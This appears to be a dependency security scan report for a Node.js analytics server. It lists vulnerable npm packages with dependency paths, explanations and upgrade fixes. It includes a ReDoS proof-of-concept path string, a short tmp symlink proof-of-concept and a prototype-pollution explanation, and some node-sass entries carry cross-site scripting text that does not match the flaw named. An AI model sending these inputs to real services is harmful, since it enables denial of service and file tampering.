Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.0.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete methods held in properties of global prototypes but cannot overwrite those properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.17.23 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: grunt-contrib-coffee@1.0.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt-contrib-coffee@2.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.3.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-coffee@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to grunt@1.3.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-util@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › grunt-legacy-log-utils@1.0.0 › lodash@4.3.0Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-legacy-log@1.0.2 › lodash@4.17.23Remediation: Upgrade to grunt@1.3.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-legacy-log@1.0.2 › lodash@4.17.23Remediation: Upgrade to sails@1.0.0.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the _.unset and _.omit functions. An attacker can delete properties from built-in prototypes by supplying array-wrapped path segments, potentially impacting application behaviour.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to incomplete fix for CVE-2025-13465 which protects only against string key members.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash to version 4.18.1 or higher.
References
medium severity
- Vulnerable module: morgan
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › morgan@1.6.1
Overview
morgan is a HTTP request logger middleware for node.js.
Affected versions of this package are vulnerable to Improper Output Neutralization for Logs via the :remote-user token, which extracts the Basic auth username from the Authorization header and writes it to the log stream without neutralizing control characters. An attacker can inject forged log lines by sending crafted Authorization headers containing CR or LF bytes, potentially breaking the one-request-per-line structure of access logs and misleading downstream log consumers.
Workaround
This vulnerability can be mitigated by using a custom format string that does not include :remote-user.
Remediation
Upgrade morgan to version 1.11.0 or higher.
References
medium severity
- Vulnerable module: path-to-regexp
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › path-to-regexp@1.5.3Remediation: Upgrade to sails@1.5.12.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/, if two parameters within a single segment are separated by a character other than a / or .. Poor performance will block the event loop and can lead to a DoS.
Note:
While the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the strict option, which returns an error if a dangerous regular expression is detected.
Workaround
This vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes - and /.
PoC
/a${'-a'.repeat(8_000)}/a
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade path-to-regexp to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.
References
medium severity
- Vulnerable module: postcss-selector-parser
- Introduced through: css-loader@0.25.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-merge-rules@2.1.2 › postcss-selector-parser@2.2.3Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-minify-selectors@2.1.1 › postcss-selector-parser@2.2.3Remediation: Upgrade to css-loader@1.0.0.
Overview
Affected versions of this package are vulnerable to Uncontrolled Recursion via the toString function in the AST Serialization. An attacker can cause uncontrolled recursion by providing specially crafted input, potentially resulting in resource exhaustion and application unavailability.
Remediation
Upgrade postcss-selector-parser to version 6.1.3, 7.1.2 or higher.
References
medium severity
new
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Incorrect Type Conversion or Cast via the src/pax.ts file. An attacker can cause a process crash by providing all-digit PAX path or linkpath values that are coerced to JavaScript numbers, leading to a TypeError during downstream path handling.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
medium severity
new
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict due to improper handling of PAX extended header size overrides in intermediary metadata headers. An attacker can cause inconsistent archive parsing results between different tar implementations by crafting a malicious tar archive that desynchronizes the parser's interpretation, potentially hiding files from scanners or extractors that rely on different tools.
Remediation
Upgrade tar to version 7.5.16 or higher.
References
medium severity
new
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.
Remediation
Upgrade tar to version 7.5.17 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@7.4.3 and passport-jwt@2.2.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › jsonwebtoken@7.4.3Remediation: Upgrade to jsonwebtoken@9.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › passport-jwt@2.2.1 › jsonwebtoken@7.4.3Remediation: Upgrade to passport-jwt@4.0.1.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm such that the library can be misconfigured to use legacy, insecure key types for signature verification. For example, DSA keys could be used with the RS256 algorithm.
Exploitability
Users are affected when using an algorithm and a key type other than the combinations mentioned below:
EC: ES256, ES384, ES512
RSA: RS256, RS384, RS512, PS256, PS384, PS512
RSA-PSS: PS256, PS384, PS512
And for Elliptic Curve algorithms:
ES256: prime256v1
ES384: secp384r1
ES512: secp521r1
Workaround
Users who are unable to upgrade to the fixed version can use the allowInvalidAsymmetricKeyTypes option to true in the sign() and verify() functions to continue usage of invalid key type/algorithm combination in 9.0.0 for legacy compatibility.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: morgan
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › @sailshq/express@3.21.3 › @sailshq/connect@2.30.3 › morgan@1.6.1
Overview
morgan is a HTTP request logger middleware for node.js.
Affected versions of this package are vulnerable to Arbitrary Code Injection. An attacker could use the format parameter to inject arbitrary commands.
Remediation
Upgrade morgan to version 1.9.1 or higher.
References
medium severity
- Vulnerable module: tmp
- Introduced through: yarn@0.27.5
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › inquirer@3.3.0 › external-editor@2.2.0 › tmp@0.0.33
Overview
Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.
PoC
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
Remediation
Upgrade tmp to version 0.2.4 or higher.
References
medium severity
- Vulnerable module: grunt
- Introduced through: grunt@1.0.1 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1Remediation: Upgrade to grunt@1.5.3.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1Remediation: Upgrade to sails@1.0.0.
Overview
grunt is a JavaScript task runner.
Affected versions of this package are vulnerable to Race Condition via the file.copy operations. Exploiting this vulnerability leads to arbitrary file writing when an attacker can create a symlink just after deletion of the destination symlink, but right before the symlink is being written.
Remediation
Upgrade grunt to version 1.5.3 or higher.
References
medium severity
- Vulnerable module: jsonwebtoken
- Introduced through: jsonwebtoken@7.4.3 and passport-jwt@2.2.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › jsonwebtoken@7.4.3Remediation: Upgrade to jsonwebtoken@9.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › passport-jwt@2.2.1 › jsonwebtoken@7.4.3Remediation: Upgrade to passport-jwt@4.0.1.
Overview
jsonwebtoken is a JSON Web Token implementation (symmetric and asymmetric)
Affected versions of this package are vulnerable to Improper Restriction of Security Token Assignment via the secretOrPublicKey argument due to misconfigurations of the key retrieval function jwt.verify(). Exploiting this vulnerability might result in incorrect verification of forged tokens when tokens signed with an asymmetric public key could be verified with a symmetric HS256 algorithm.
Note:
This vulnerability affects your application if it supports the usage of both symmetric and asymmetric keys in jwt.verify() implementation with the same key retrieval function.
Remediation
Upgrade jsonwebtoken to version 9.0.0 or higher.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: isomorphic-fetch@2.2.1, react@15.7.0 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to isomorphic-fetch@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › react@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react@16.5.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › react-dom@15.7.0 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-dom@16.5.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › react-tap-event-plugin@2.0.1 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › material-ui@0.16.7 › react-addons-create-fragment@15.6.2 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › material-ui@0.16.7 › react-event-listener@0.4.5 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › material-ui@0.16.7 › recompose@0.21.2 › fbjs@0.8.18 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.
Remediation
Upgrade node-fetch to version 2.6.7, 3.1.1 or higher.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Denial of Service (DoS). Uncontrolled recursion is possible in Sass::Complex_Selector::perform in ast.hpp and Sass::Inspect::operator in inspect.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-Bounds. A heap-based buffer over-read exists in Sass::Prelexer::parenthese_scope in prelexer.hpp. node-sass is affected by this vulnerability due to its bundled usage of libsass.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Out-of-Bounds via Sass::Prelexer::alternatives in prelexer.hpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
medium severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
